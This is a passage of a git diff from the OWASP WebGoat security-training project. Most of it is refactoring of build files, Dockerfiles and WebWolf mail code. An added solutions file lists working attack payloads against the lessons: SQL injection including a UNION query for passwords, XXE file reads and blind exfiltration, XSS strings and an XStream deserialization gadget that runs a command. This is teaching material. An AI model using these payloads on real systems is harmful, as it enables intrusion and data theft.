<scope>provided</scope>
<type>jar</type>
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
the easiest way to stop the autoconfiguration of Spring Boot -->
<exclusions>
<exclusion>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
</exclusion>
</exclusions>
</dependency>
<!--<dependency>-->
<!--<groupId>org.apache.commons</groupId>-->
<!--<artifactId>commons-exec</artifactId>-->
<!--<version>1.3</version>-->
<!--</dependency>-->
<dependency>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-container</artifactId>
<version>${project.version}</version>
<classifier>tests</classifier>
<scope>test</scope>
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
the easiest way to stop the autoconfiguration of Spring Boot -->
<exclusions>
<exclusion>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>junit</groupId>
@ -96,12 +75,6 @@
<version>4.1.3.RELEASE</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.github.fakemongo</groupId>
<artifactId>fongo</artifactId>
<version>2.1.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.owasp.encoder</groupId>
<artifactId>encoder</artifactId>

111
webgoat-lessons/sol.MD Normal file
View File

@ -0,0 +1,111 @@
### SQLi ###
Basic
Smith - to show it returns smith's records.
To show exploit; `1=1` can be any true clause:
```sql
Smith' or '1'='1
```
**Bender Login**
```sql
bender@juice-sh.op' --
```
```sql
[2:19 PM]
101
101 or 1=1
```
```sql
Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
```
## XXE ##
Simple:
```xml
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
```
Modern Rest Framework:
Change content type to: `Content-Type: application/xml` and
```xml
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><user> <username>&root;</username><password>test</password></user>
```
Blind SendFile
```xml
Solution:
Create DTD:
<pre>
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
%all;
</pre>
This will be reduced to:
<pre>
<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
</pre>
Wire it all up in the xml send to the server:
<pre>
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd">
%remote;
]>
<user>
<username>test&send;</username>
</user>
</pre>
```
### XSS ###
```javascript
<script>alert('my javascript here')</script>4128 3214 0002 1999
```
DOM-XSS:
Something like
`http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E
//`
OR
`http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>`
### Vuln - Components ###
Jquery page: - it is contrived; but paste that in each box
```javascript
OK<script>alert("XSS")<\/script>
OK<script>alert("XSS")<\/script>
```
for the deserialization: got to the link: http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/ to read about why it works so you can talk to it.
```html
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
```

View File

@ -1,15 +1,29 @@
== Special Characters
[source]
----
/* */ are inline comments
-- , # are line comments
'Select * from users where name = admin--and pass = pass'
Example: Select * from users where name = 'admin' --and pass = 'pass'
----
[source]
----
; allows query chaining
'Select * from users; drop table users;'
,+,|| allows string concatenation
Example: Select * from users; drop table users;
----
[source]
----
',+,|| allows string concatenation
Char() strings without quotes
'Select * from users where name = +char(27) or 1=1'
Example: Select * from users where name = '+char(27) or 1=1
----
== Special Statements

View File

@ -0,0 +1,70 @@
### To include lesson template in build ###
1. Edit the webgoat-server/pom.xml file and uncomment the section under
```xml
<!--uncommment below to run/include lesson template in WebGoat Build-->
```
2. Also uncomment in webgoat-lessons/pom.xml where it says
```xml
<!-- uncomment below to include lesson template in build, also uncomment the dependency in webgoat-server/pom.xml-->
```
### To add a lesson to WebGoat ###
There are a number of moving parts and this sample lesson will help you navigate those parts. Most of your work will be done in two directories. To start though, you can copy this directory with the name of your-lesson in the webgoat-lessons directory.
0. The POM file
* Change the line to give your lesson its own artifactId.
That should be all you need to do there:
```xml
<artifactId>webgoat-lesson-template</artifactId>
```
1. The Base Class
* The name of the class (file and class name) to better match your lesson. (e.g. `sql-injection` >> `SqlInjection`)
* The category in which you want your lesson to be in. You can create a new category if you want, or put in an issue to have one added.
* The `defaultRanking` will move your lesson up or down in the categories list.
* Implement a new key name pair `lesson-template.title` (the key) and update the same key/value pair `your.key=your value` in src/main/resources/i18n/WebGoatLabels.properties.
* Implement a new value for the `getId` method, which leads us to...
2. The HTML content framing
* Rename the provided file in src/main/resources/html using your value from the `getId` method in your lesson's base class:
e.g.
`public String getId() { return "your-lesson"; }` >> `your-lesson.html`
* Modify that file following the commented instructions in there.
* In conjunction with this file you.
3. Assignment Endpoints
* In the above html file, you will see an example of an 'attack form'. You can create endpoints to handle these attacks and provide the user feedback and simulated output. See the example file here as well as other existing lessons for ways to extend these. You will extend the `AssignmentEndpoint` as the example will show:
* You can also create supporting (non-assignment) endpoints, that are not evaluated/graded.
* See other lesson examples for creating unit/integration tests for your project as well.
4. Getting your lesson to show up
* Modify the webgoat-lessons/pom.xml to include your project in the `<modules>` section:
```xml
<modules>
<!-- ... -->
<module>webgoat-lesson-template</module>
<!-- ... -->
</modules>
```
* Modify the webgoat-server/pom.xml to add your project as a dependency in the `<dependencies>` section:
```xml
<dependencies>
<!-- .... >
<dependency>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>your-artfifact-id-here</artifactId>
<version>${project.version}</version>
</dependency>
<!-- .... >
</dependencies>
```
5. You should be ready to run and test your project. Please create issues at https://github.com/WebGoat/WebGoat if there errors or confusion with this documentation/template

View File

@ -1,55 +0,0 @@
##### To include lesson template in build #####
1. edit theh webgoat-server/pom.xml file and uncomment the section under ...
<!--uncommment below to run/include lesson template in WebGoat Build-->
2. Also uncomment in webgoat-lessons/pom.xml where it says ...
<!-- uncomment below to include lesson template in build, also uncomment the dependency in webgoat-server/pom.xml-->
##### To add a lesson to WebGoat #####
There are a number of moving parts and this sample lesson will help you navigate those parts. Most of your work will be done in two directories. To start though, you can copy this directory with the name of your-lesson in the webgoat-lessons directory.
0. The POM file
a. change the ...
<artifactId>webgoat-lesson-template</artifactId>
... line to give your lesson its own artifactId.That should be all you need to do there
1. The Base Class ...
a. The name of the class (file and class name) to better match your lesson (e.g. sql-injection >> SqlInjection)
b. the category in which you want your lesson to be in. You can create a new category if you want, or put in an issue to have one added
c. The 'defaultRanking' will move your lesson up or down in the categories list
d. implement a new key name pair "lesson-template.title" (the key) and update the same key/value pair (your.key=your value) in src/main/resources/i18n/WebGoatLabels.properties
e. Implement a new value for the getId method, which leads us to ...
2. The HTML content framing ...
a. Rename the provided file in src/main/resources/html using your value from the getId method in your lesson's base class (e.g. public String getId() { return "your-lesson"; } >> "your-lesson.html")
b. Modify that file following the commented instructions in there
c. In conjunction with this file you
3. Assignment Endpoints
a. In the above html file, you will see an example of an 'attack form'. You can create endpoints to handle these attacks and provide the user feedback and simulated output. See the example file here as well as other existing lessons for ways to extend these. You will extend the AssignmentEndpoint as the example will show
b. You can also create supporting (non-assignment) endpoints, that are not evaluated/graded.
c. See other lesson examples for creating unit/integration tests for your project as well
4. Getting your lesson to show up
a. modify the webgoat-lessons/pom.xml to include your project in the <modules> section
<modules>
<!-- ... -->
<module>webgoat-lesson-template</module>
<!-- ... -->
</modules>
b. modify the webgoat-server/pom.xml to add your project as a dependency in the <dependencies> section ...
<dependencies>
<!-- .... >
<dependency>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>your-artfifact-id-here</artifactId>
<version>${project.version}</version>
</dependency>
<!-- .... >
<dependencies>
5. You should be ready to run and test your project. Please create issues at https://github.com/WebGoat/WebGoat if there errors or confusion with this documentation/template

View File

@ -22,7 +22,7 @@ public class MailAssignment extends AssignmentEndpoint {
private final String webWolfURL;
private RestTemplate restTemplate;
public MailAssignment(RestTemplate restTemplate, @Value("${webwolf.url}") String webWolfURL) {
public MailAssignment(RestTemplate restTemplate, @Value("${webwolf.url.mail}") String webWolfURL) {
this.restTemplate = restTemplate;
this.webWolfURL = webWolfURL;
}
@ -36,10 +36,10 @@ public class MailAssignment extends AssignmentEndpoint {
.recipient(username)
.title("Test messages from WebWolf")
.time(LocalDateTime.now())
.contents("This is a test message from WebWolf, your unique code is" + StringUtils.reverse(username))
.contents("This is a test message from WebWolf, your unique code is: " + StringUtils.reverse(username))
.sender("webgoat@owasp.org")
.build();
restTemplate.postForEntity(webWolfURL + "/WebWolf/mail", mailEvent, Object.class);
restTemplate.postForEntity(webWolfURL, mailEvent, Object.class);
return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build();
} else {
return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build();

View File

@ -48,7 +48,7 @@ public class WebWolfIntroduction extends NewLesson {
@Override
public Integer getDefaultRanking() {
return 1;
return 10;
}
@Override

View File

@ -12,9 +12,10 @@
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Receiving_mail.adoc"></div>
<div class="attack-container">
<form accept-charset="UNKNOWN"
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
action="/WebGoat/WebWolf/send"
action="/WebGoat/WebWolf/mail/send"
enctype="application/json;charset=UTF-8">
<div class="container-fluid">
<div class="row">

View File

@ -23,9 +23,9 @@ java -jar webwolf-<<version>>.jar
WebWolf is also available as a Docker container:
```
docker pull webwolf/webwolf-8.0
docker pull webgoat/webwolf
docker run -it 8081:8081 /home/webwolf/run.sh
```
This will start the application on port 8081, in your browser type: `http://localhost:8081/WebWolf`
You will be redirected to the login page where you need to login with your WebGoat username and password
This will start the application on port 8081, click webWolfLink:here[] to open WebWolf.
First thing you need to do is register a new user within WebWolf.

View File

@ -19,8 +19,10 @@ import javax.xml.stream.XMLStreamReader;
import java.io.IOException;
import java.io.StringReader;
import java.util.Collection;
import java.util.Comparator;
import java.util.Map;
import java.util.Optional;
import java.util.stream.Collectors;
import static java.util.Optional.empty;
import static java.util.Optional.of;
@ -54,7 +56,7 @@ public class Comments {
allComments.addAll(xmlComments);
}
allComments.addAll(comments);
return allComments;
return allComments.stream().sorted(Comparator.comparing(Comment::getDateTime).reversed()).collect(Collectors.toList());
}
protected Comment parseXml(String xml) throws Exception {

View File

@ -46,7 +46,7 @@ import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"})
public class ContentTypeAssignment extends AssignmentEndpoint {
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "opt", "var"};
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
@ -85,7 +85,7 @@ public class ContentTypeAssignment extends AssignmentEndpoint {
}
private boolean checkSolution(Comment comment) {
String[] directoriesToCheck = OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;
String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;
boolean success = true;
for (String directory : directoriesToCheck) {
success &= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory);

View File

@ -54,7 +54,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST;
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"})
public class SimpleXXE extends AssignmentEndpoint {
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "opt", "var"};
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
@Value("${webgoat.server.directory}")
@ -77,12 +77,11 @@ public class SimpleXXE extends AssignmentEndpoint {
}
return trackProgress(failed().output(error).build());
}
private boolean checkSolution(Comment comment) {
String[] directoriesToCheck = OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;
String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;
boolean success = true;
for (String directory : directoriesToCheck) {
success &= comment.getText().contains(directory);
success &= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory);
}
return success;
}

View File

@ -26,6 +26,7 @@
method="POST" name="form"
prepareData="simpleXXE"
successCallback="simpleXXECallback"
failureCallback="simpleXXECallback"
contentType="application/xml"
action="/WebGoat/xxe/simple">
<div class="container-fluid">
@ -82,6 +83,7 @@
method="POST" name="form"
prepareData="contentTypeXXE"
successCallback="contentTypeXXECallback"
failureCallback="contentTypeXXECallback"
action="xxe/content-type"
contentType="application/json">
<div class="container-fluid">
@ -147,6 +149,7 @@
method="POST" name="form"
prepareData="blindXXE"
successCallback="blindXXECallback"
failureCallback="blindXXECallback"
action="/WebGoat/xxe/blind"
contentType="application/xml">
<div class="container-fluid">

View File

@ -8,7 +8,7 @@ webgoat.customjs.simpleXXE = function () {
}
webgoat.customjs.simpleXXECallback = function() {
$("#commentInputBlind").val('');
$("#commentInputSimple").val('');
getComments('#commentsListSimple');
}
@ -16,6 +16,25 @@ $(document).ready(function () {
getComments('#commentsListSimple');
});
//// Content-type
webgoat.customjs.contentTypeXXE = function() {
var commentInput = $("#commentInputContentType").val();
return JSON.stringify({text: commentInput});
}
webgoat.customjs.contentTypeXXECallback = function() {
$("#commentInputContentType").val('');
getComments('#commentsListContentType');
}
$(document).ready(function () {
getComments('#commentsListContentType');
});
//// Blind
webgoat.customjs.blindXXE = function() {
var commentInput = $("#commentInputBlind").val();
var xml = '<?xml version="1.0"?>' +
@ -34,19 +53,7 @@ $(document).ready(function () {
getComments('#commentsListBlind');
});
webgoat.customjs.contentTypeXXE = function() {
var commentInput = $("#commentInputContentType").val();
return JSON.stringify({text: commentInput});
}
webgoat.customjs.contentTypeXXECallback = function() {
$("#commentInputContentType").val('');
getComments('#commentsListContentType');
}
$(document).ready(function () {
getComments('#commentsListContentType');
});
var html = '<li class="comment">' +
'<div class="pull-left">' +

View File

@ -2,15 +2,14 @@ FROM openjdk:8-jre-slim
ARG webgoat_version=8.0-SNAPSHOT
RUN useradd --home-dir /home/webgoat --create-home -U webgoat
RUN apt-get update; apt-get install curl -y
COPY start.sh /home/webgoat/start.sh
RUN chmod +x /home/webgoat/start.sh
RUN \
apt-get update && apt-get install && \
useradd --home-dir /home/webgoat --create-home -U webgoat && \
cd /home/webgoat/; mkdir -p .webgoat
USER webgoat
RUN mkdir -p /home/webgoat/.embedmongo/linux
RUN curl -o /home/webgoat/.embedmongo/linux/mongodb-linux-x86_64-3.2.2.tgz https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-3.2.2.tgz
RUN cd /home/webgoat/; mkdir -p .webgoat
COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar", "--server.address=0.0.0.0"]
EXPOSE 8080

View File

@ -90,11 +90,6 @@
<scope>test</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
<version>2.0.0</version>
</dependency>
<dependency>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-container</artifactId>

View File

@ -1,40 +0,0 @@
package org.owasp.webgoat;
import com.mongodb.MongoClient;
import com.mongodb.MongoClientOptions;
import de.flapdoodle.embed.mongo.MongodExecutable;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.boot.autoconfigure.mongo.MongoProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.env.Environment;
import org.springframework.data.mongodb.MongoDbFactory;
import org.springframework.data.mongodb.core.SimpleMongoDbFactory;
import java.io.IOException;
/**
* If we run
*/
@Configuration
@ConditionalOnProperty(value = "webgoat.embedded.mongo", havingValue = "false")
public class ExternalMongoConfiguration {
@Autowired
private MongoProperties properties;
@Autowired(required = false)
private MongoClientOptions options;
@Bean
public MongodExecutable mongodExecutable() throws IOException {
return null;
}
@Bean
public MongoDbFactory mongoDbFactory(Environment env) throws Exception {
MongoClient client = properties.createMongoClient(this.options, env);
return new SimpleMongoDbFactory(client, properties.getDatabase());
}
}

View File

@ -1,3 +0,0 @@
#!/bin/sh
java -jar -Djava.security.egd=file:/dev/./urandom /home/webgoat/webgoat.jar

View File

@ -1,4 +0,0 @@
WG_MONGO_PORT=27017
WG_MONGO_HOST=mongo
WG_MQ_HOST=activemq
WG_MQ_PORT=61616

View File

@ -1,146 +0,0 @@
#!/bin/bash
# Bootstrap the setup of WebGoat for developer use in Linux and Mac machines
# This script will clone the necessary git repositories, call the maven goals
# in the order the are needed and launch tomcat listening on localhost:8080
# Happy hacking !
# Find out what is our terminal size
COLS="$(tput cols)"
if (( COLS <= 0 )) ; then
COLS="${COLUMNS:-80}"
fi
# Colors
ESC_SEQ="\x1b["
COL_RESET=$ESC_SEQ"39;49;00m"
COL_RED=$ESC_SEQ"31;01m"
COL_GREEN=$ESC_SEQ"32;01m"
COL_YELLOW=$ESC_SEQ"33;01m"
COL_BLUE=$ESC_SEQ"34;01m"
COL_MAGENTA=$ESC_SEQ"35;01m"
COL_CYAN=$ESC_SEQ"36;01m"
# Horizontal Rule function
horizontal_rule() {
local WORD
for WORD in "#"
do
hr "$WORD"
done
}
hr() {
local WORD="$1"
if [[ -n "$WORD" ]] ; then
local LINE=''
while (( ${#LINE} < COLS ))
do
LINE="$LINE$WORD"
done
echo -e "${LINE:0:$COLS}"
fi
}
## test if command exists
ftest() {
echo -e "$COL_CYAN info: Checking if ${1} is installed $COL_RESET"
if ! type "${1}" > /dev/null 2>&1; then
return 1
else
return 0
fi
}
## feature tests
features() {
for f in "${@}"; do
ftest "${f}" || {
echo -e >&2 "***$COL_RED ERROR: Missing \`${f}'! Make sure it exists and try again. $COL_RESET"
return 1
}
done
return 0
}
tomcat_started () {
STAT=`netstat -na | grep 8080 | awk '{print $6}'`
if [ "$STAT" = "LISTEN" ]; then
echo -e "$COL_GREEN WebGoat has started successfully! Browse to the following address. $COL_RESET"
echo -e "$COL_CYAN Happy Hacking! $COL_RESET"
return 0
elif [ "$STAT" = "" ]; then
echo -e "$COL_RED WebGoat failed to start up.... please wait run the following command for debugging : $COL_RESET"
echo -e "$COL_MAGENTA mvn -q -file WebGoat/pom.xml -pl webgoat-container tomcat7:run-war"
fi
return 1
}
## main setup
developer_bootstrap() {
horizontal_rule
echo -e "$COL_RED
██╗ ██╗███████╗██████╗ ██████╗ ██████╗ █████╗ ████████╗
██║ ██║██╔════╝██╔══██╗██╔════╝ ██╔═══██╗██╔══██╗╚══██╔══╝
██║ █╗ ██║█████╗ ██████╔╝██║ ███╗██║ ██║███████║ ██║
██║███╗██║██╔══╝ ██╔══██╗██║ ██║██║ ██║██╔══██║ ██║
╚███╔███╔╝███████╗██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██║
╚══╝╚══╝ ╚══════╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
$COL_RESET"
horizontal_rule
echo -e "Welcome to the WebGoat Developer Bootstrap script for Linux/Mac."
echo -e "Now checking if all the required software to run WebGoat is already installed."
echo -e "FYI: This Developer Bootstrap Script for WebGoat requires: Git, Java JDK and Maven accessible on the path"
## test for require features
features git mvn java || return $?
# Clone WebGoat from github
if [ ! -d "WebGoat" ]; then
echo -e "Cloning the WebGoat container repository"
git clone https://github.com/WebGoat/WebGoat.git
else
horizontal_rule
(
echo -e "$COL_YELLOW The WebGoat container repo has already been clonned before, pulling upstream changes. $COL_RESET"
cd WebGoat || {
echo -e >&2 "$COL_RED *** ERROR: Could not cd into the WebGoat Directory. $COL_RESET"
return 1
}
git pull origin develop
)
fi
# Start the embedded Tomcat server
echo -e "$COL_MAGENTA"
horizontal_rule
horizontal_rule
horizontal_rule
horizontal_rule
echo "$COL_MAGENTA"
echo "$COL_CYAN ***** Starting WebGoat using the embedded Tomcat ***** $COL_RESET"
echo " Please be patient.... The startup of the server takes about 5 seconds..."
echo " WebGoat will be ready for you when you see the following message on the command prompt:"
echo "$COL_YELLOW INFO: Starting ProtocolHandler ["http-bio-8080"] $COL_RESET"
echo "$COL_CYAN When you see the message above, open a web browser and navigate to http://localhost:8080/WebGoat/ $COL_RESET"
echo " To stop the WebGoat and Tomcat Execution execution, press CTRL + C"
echo "$COL_RED If you close this terminal window, Tomcat and WebGoat will stop running $COL_RESET"
echo "$COL_MAGENTA"
horizontal_rule
horizontal_rule
horizontal_rule
horizontal_rule
echo -e "$COL_RESET"
sleep 5
# Starting WebGoat
mvn -q -pl webgoat-container spring-boot:run
}
# Start main script
developer_bootstrap

View File

@ -2,12 +2,13 @@ FROM openjdk:8-jre-slim
ARG webwolf_version=8.0-SNAPSHOT
RUN useradd --home-dir /home/webwolf --create-home -U webwolf
RUN apt-get update; apt-get install curl -y
COPY start.sh /home/webwolf/start.sh
RUN chmod +x /home/webwolf/start.sh
RUN \
apt-get update && apt-get install && \
useradd --home-dir /home/webwolf --create-home -U webwolf
USER webwolf
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.address=0.0.0.0"]
EXPOSE 8081

View File

@ -55,7 +55,7 @@
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-mongodb</artifactId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
@ -73,6 +73,18 @@
<artifactId>jquery</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
<artifactId>hsqldb</artifactId>
<version>${hsqldb.version}</version>
</dependency>
<!-- ************* START: Dependencies for Unit and Integration Testing ************** -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>

View File

@ -2,8 +2,6 @@ package org.owasp.webwolf;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webwolf.requests.WebWolfTraceRepository;
import org.owasp.webwolf.user.UserRepository;
import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.actuate.trace.TraceRepository;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@ -16,8 +14,8 @@ import org.springframework.context.annotation.Bean;
public class WebWolf extends SpringBootServletInitializer {
@Bean
public TraceRepository traceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
return new WebWolfTraceRepository(repository, userRepository);
public TraceRepository traceRepository() {
return new WebWolfTraceRepository();
}
@Override

View File

@ -1,13 +1,9 @@
package org.owasp.webwolf.mailbox;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import org.springframework.data.annotation.Id;
import org.springframework.data.mongodb.core.index.Indexed;
import org.springframework.data.mongodb.core.mapping.Document;
import javax.persistence.*;
import java.io.Serializable;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
@ -16,20 +12,19 @@ import java.time.format.DateTimeFormatter;
* @author nbaars
* @since 8/20/17.
*/
@Builder
@Data
@Document
@Entity
@NoArgsConstructor
@AllArgsConstructor
public class Email implements Serializable {
@Id
private String id;
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
private LocalDateTime time;
@Column(length = 1024)
private String contents;
private String sender;
private String title;
@Indexed
private String recipient;
public String getSummary() {
@ -47,4 +42,5 @@ public class Email implements Serializable {
public String getShortSender() {
return sender.substring(0, sender.indexOf("@"));
}
}

View File

@ -5,11 +5,16 @@ import lombok.extern.slf4j.Slf4j;
import org.owasp.webwolf.user.UserRepository;
import org.owasp.webwolf.user.WebGoatUser;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.ModelAndView;
import java.util.List;
import java.util.concurrent.Callable;
/**
* @author nbaars
@ -37,13 +42,16 @@ public class MailboxController {
}
@PostMapping(value = "/mail")
@ResponseStatus(HttpStatus.CREATED)
public void sendEmail(@RequestBody Email email) {
public Callable<ResponseEntity<?>> sendEmail(@RequestBody Email email) {
return () -> {
if (userRepository.findByUsername(email.getRecipient()) != null) {
mailboxRepository.save(email);
return ResponseEntity.status(HttpStatus.CREATED).build();
} else {
log.trace("Mail received for unknown user: {}", email.getRecipient());
return ResponseEntity.notFound().build();
}
};
}
}

View File

@ -1,7 +1,6 @@
package org.owasp.webwolf.mailbox;
import org.bson.types.ObjectId;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.data.jpa.repository.JpaRepository;
import java.util.List;
@ -9,7 +8,7 @@ import java.util.List;
* @author nbaars
* @since 8/17/17.
*/
public interface MailboxRepository extends MongoRepository<Email, ObjectId> {
public interface MailboxRepository extends JpaRepository<Email, String> {
List<Email> findByRecipientOrderByTimeDesc(String recipient);

View File

@ -2,13 +2,13 @@ package org.owasp.webwolf.requests;
import lombok.extern.slf4j.Slf4j;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseStatus;
import javax.servlet.http.HttpServletRequest;
import java.util.concurrent.Callable;
@Controller
@Slf4j
@ -16,9 +16,11 @@ import javax.servlet.http.HttpServletRequest;
public class LandingPage {
@RequestMapping(method = {RequestMethod.POST, RequestMethod.GET, RequestMethod.DELETE, RequestMethod.PATCH, RequestMethod.PUT})
@ResponseStatus(HttpStatus.OK)
public void ok(HttpServletRequest request) {
public Callable<ResponseEntity<?>> ok(HttpServletRequest request) {
return () -> {
log.trace("Incoming request for: {}", request.getRequestURL());
return ResponseEntity.ok().build();
};
}
}

View File

@ -5,9 +5,7 @@ import com.fasterxml.jackson.databind.ObjectMapper;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webwolf.user.WebGoatUser;
import org.springframework.boot.actuate.trace.Trace;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@ -46,8 +44,7 @@ public class Requests {
@GetMapping
public ModelAndView get(HttpServletRequest request) {
ModelAndView m = new ModelAndView("requests");
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
List<Tracert> traces = traceRepository.findTraceForUser(user.getUsername()).stream()
List<Tracert> traces = traceRepository.findAllTraces().stream()
.map(t -> new Tracert(t.getTimestamp(), path(t), toJsonString(t))).collect(toList());
m.addObject("traces", traces);

View File

@ -1,30 +1,17 @@
package org.owasp.webwolf.requests;
import com.google.common.cache.CacheBuilder;
import com.google.common.cache.CacheLoader;
import com.google.common.cache.LoadingCache;
import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webwolf.user.UserRepository;
import org.owasp.webwolf.user.WebGoatUser;
import org.owasp.webwolf.user.WebGoatUserCookie;
import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
import org.springframework.boot.actuate.trace.Trace;
import org.springframework.boot.actuate.trace.TraceRepository;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import java.net.HttpCookie;
import java.util.*;
import java.util.concurrent.ConcurrentLinkedDeque;
import static java.util.Optional.empty;
import static java.util.Optional.of;
/**
* Keep track of all the incoming requests, we are only keeping track of request originating from
* WebGoat and only if there is a cookie (otherwise we can never relate it back to a user).
* WebGoat.
*
* @author nbaars
* @since 8/13/17.
@ -32,20 +19,7 @@ import static java.util.Optional.of;
@Slf4j
public class WebWolfTraceRepository implements TraceRepository {
private final LoadingCache<String, ConcurrentLinkedDeque<Trace>> cookieTraces = CacheBuilder.newBuilder()
